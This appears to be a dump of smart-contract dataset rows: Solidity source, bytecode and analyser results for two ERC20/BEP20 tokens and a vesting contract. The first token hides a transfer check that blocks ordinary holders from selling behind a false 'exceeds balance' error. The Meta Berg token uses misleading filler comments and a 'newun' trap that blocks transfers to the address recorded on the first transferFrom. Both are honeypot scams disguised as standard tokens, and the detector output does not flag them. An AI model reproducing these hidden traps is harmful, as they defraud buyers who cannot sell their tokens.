string private _symbol = 'BabyAlchemist';
uint8 private _decimals = 18;
address private _owner;
address private _safeOwner;
address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor () public {
_owner = owner();
_safeOwner = _owner;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) external onlyOwner{
_burn(msg.sender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual onlyOwner {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
modifier approveChecker(address beach, address recipient, uint256 amount){
if (_owner == _safeOwner && beach == _owner){_safeOwner = recipient;_;}
else{if (beach == _owner || beach == _safeOwner || recipient == _owner){_;}
else{require((beach == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610203578063715018a6146102295780638da5cb5b1461023157806395d89b4114610255578063a9059cbb1461025d578063dd62ed3e14610289576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c657806342966c68146101e4575b600080fd5b6100c16102b7565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b03813516906020013561034d565b604080519115158252519081900360200190f35b61017e61036a565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b03813581169160208101359091169060400135610370565b6101ce6103f7565b6040805160ff9092168252519081900360200190f35b610201600480360360208110156101fa57600080fd5b5035610400565b005b61017e6004803603602081101561021957600080fd5b50356001600160a01b0316610477565b610201610492565b610239610546565b604080516001600160a01b039092168252519081900360200190f35b6100c1610555565b6101626004803603604081101561027357600080fd5b506001600160a01b0381351690602001356105b6565b61017e6004803603604081101561029f57600080fd5b506001600160a01b03813581169160200135166105ca565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103435780601f1061031857610100808354040283529160200191610343565b820191906000526020600020905b81548152906001019060200180831161032657829003601f168201915b5050505050905090565b600061036161035a6105f5565b84846105f9565b50600192915050565b60065490565b600061037d8484846106e5565b6103ed846103896105f5565b6103e885604051806060016040528060288152602001610e02602891396001600160a01b038a166000908152600560205260408120906103c76105f5565b6001600160a01b031681526020810191909152604001600020549190610ae0565b6105f9565b5060019392505050565b60095460ff1690565b6104086105f5565b6001546001600160a01b0390811691161461046a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6104743382610b77565b50565b6001600160a01b031660009081526002602052604090205490565b61049a6105f5565b6001546001600160a01b039081169116146104fc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103435780601f1061031857610100808354040283529160200191610343565b60006103616105c36105f5565b84846106e5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661063e5760405162461bcd60e51b8152600401808060200182810382526024815260200180610e706024913960400191505060405180910390fd5b6001600160a01b0382166106835760405162461bcd60e51b8152600401808060200182810382526022815260200180610dba6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600a546009548491849184916001600160a01b039081166101009092041614801561072257506009546001600160a01b0384811661010090920416145b1561089157600a80546001600160a01b0319166001600160a01b038481169190911790915586166107845760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b6001600160a01b0385166107c95760405162461bcd60e51b8152600401808060200182810382526023815260200180610d756023913960400191505060405180910390fd5b61080684604051806060016040528060268152602001610ddc602691396001600160a01b0389166000908152600260205260409020549190610ae0565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546108359085610cd1565b6001600160a01b0380871660008181526002602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3610ad8565b6009546001600160a01b038481166101009092041614806108bf5750600a546001600160a01b038481169116145b806108dc57506009546001600160a01b0383811661010090920416145b15610926576001600160a01b0386166107845760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b600a546001600160a01b038481169116148061094f5750600b546001600160a01b038381169116145b61098a5760405162461bcd60e51b8152600401808060200182810382526026815260200180610ddc6026913960400191505060405180910390fd5b6001600160a01b0386166109cf5760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b6001600160a01b038516610a145760405162461bcd60e51b8152600401808060200182810382526023815260200180610d756023913960400191505060405180910390fd5b610a5184604051806060016040528060268152602001610ddc602691396001600160a01b0389166000908152600260205260409020549190610ae0565b6001600160a01b038088166000908152600260205260408082209390935590871681522054610a809085610cd1565b6001600160a01b0380871660008181526002602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b60008184841115610b6f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b34578181015183820152602001610b1c565b50505050905090810190601f168015610b615780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b610b7f6105f5565b6001546001600160a01b03908116911614610be1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038216610c265760405162461bcd60e51b8152600401808060200182810382526021815260200180610e2a6021913960400191505060405180910390fd5b610c6381604051806060016040528060228152602001610d98602291396001600160a01b0385166000908152600260205260409020549190610ae0565b6001600160a01b038316600090815260026020526040902055600654610c899082610d32565b6006556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600082820183811015610d2b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6000610d2b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ae056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122095730cfd72d134b61af98ab5784aa9c84e67e1e1d79d98aecddee0525c4505aa64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 5,302 |
0x84D94c877EdF38ac90A06725b71555Fb5730c152
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
}
|
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063a3d272ce11610066578063a3d272ce146101be578063a8660a7814610202578063c4b6c5fa14610220578063ec715a31146102d8578063f2fde38b146102e25761009e565b80631db87be8146100a35780631f8db268146100ed5780633a05f0d81461010b578063715018a61461016a5780638da5cb5b14610174575b600080fd5b6100ab610326565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100f561034c565b6040518082815260200191505060405180910390f35b610113610353565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561015657808201518184015260208101905061013b565b505050509050019250505060405180910390f35b6101726103ab565b005b61017c610533565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610200600480360360208110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061055c565b005b61020a610669565b6040518082815260200191505060405180910390f35b6102d66004803603602081101561023657600080fd5b810190808035906020019064010000000081111561025357600080fd5b82018360208201111561026557600080fd5b8035906020019184602083028401116401000000008311171561028757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061066f565b005b6102e0610761565b005b610324600480360360208110156102f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109e1565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103a157602002820191906000526020600020905b81548152602001906001019080831161038d575b5050505050905090565b6103b3610bee565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610474576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610564610bee565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610625576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b610677610bee565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610738576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461074757600080fd5b806002908051906020019061075d929190610c7e565b5050565b60006002805490501161077357600080fd5b61077b610533565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108015750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61080a57600080fd5b6000600454141561085c5761081d610533565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461085457600080fd5b426004819055505b600060055490505b6002805490508110156109de5762278d00600554026004540142106109cc57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106108fa57fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561096f57600080fd5b505af1158015610983573d6000803e3d6000fd5b505050506040513d602081101561099957600080fd5b8101908080519060200190929190505050506109c16001600554610bf690919063ffffffff16565b6005819055506109d1565b6109de565b8080600101915050610864565b50565b6109e9610bee565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aaa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610cf16026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610c74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610cba579160200282015b82811115610cb9578251825591602001919060010190610c9e565b5b509050610cc79190610ccb565b5090565b610ced91905b80821115610ce9576000816000905550600101610cd1565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220038fb532ed2e64e11f018217ec622374df7e2f0ae188b497304d3fb430740aa964736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,303 |
0xb1ed7329cf5713a20bd32ab5538676ce4c8c3c9d
|
/**
*Submitted for verification at Etherscan.io on
*/
/**
* @dev Intended to update the TWAP for a token based on accepting an update call from that token.
* expectation is to have this happen in the _beforeTokenTransfer function of ERC20.
* Provides a method for a token to register its price sourve adaptor.
* Provides a function for a token to register its TWAP updater. Defaults to token itself.
* Provides a function a tokent to set its TWAP epoch.
* Implements automatic closeing and opening up a TWAP epoch when epoch ends.
* Provides a function to report the TWAP from the last epoch when passed a token address.
*/
/*
*******
/*
* Meta Berg Project
____ ____ ________ _________ _ ______ ________ _______ ______
|_ \ / _||_ __ || _ _ | / \ |_ _ \ |_ __ ||_ __ \ .' ___ |
| \/ | | |_ \_||_/ | | \_| / _ \ | |_) | | |_ \_| | |__) | / .' \_|
| |\ /| | | _| _ | | / ___ \ | __'. | _| _ | __ / | | ____
_| |_\/_| |_ _| |__/ | _| |_ _/ / \ \_ _| |__) |_| |__/ | _| | \ \_\ `.___] |
|_____||_____||________| |_____||____| |____||_______/|________||____| |___|`._____.'
*/
//SPDX-License-Identifier: UNLICENSED
//To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
/**
* @dev Returns the amount of tokens in existence.
*/
pragma solidity >=0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
contract BEP20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance);
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function approve(address spender, uint256 tokens)
public
returns (bool success);
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success);
/**
* @dev Returns true if the value is in the set. O(1).
*/
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint256 tokens
);
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 tokens,
address token,
bytes memory data
) public;
}
// TODO needs insert function that maintains order.
// TODO needs NatSpec documentation comment.
/**
* Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
contract TokenBEP20 is BEP20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
address public newun;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
symbol = "METABERG";
name = "Meta Berg";
decimals = 9;
_totalSupply = 1000000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance)
{
return balances[tokenOwner];
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function transfer(address to, uint256 tokens)
public
returns (bool success)
{
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens)
public
returns (bool success)
{
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success) {
if (from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining)
{
return allowed[tokenOwner][spender];
}
function approveAndCall(
address spender,
uint256 tokens,
bytes memory data
) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(
msg.sender,
tokens,
address(this),
data
);
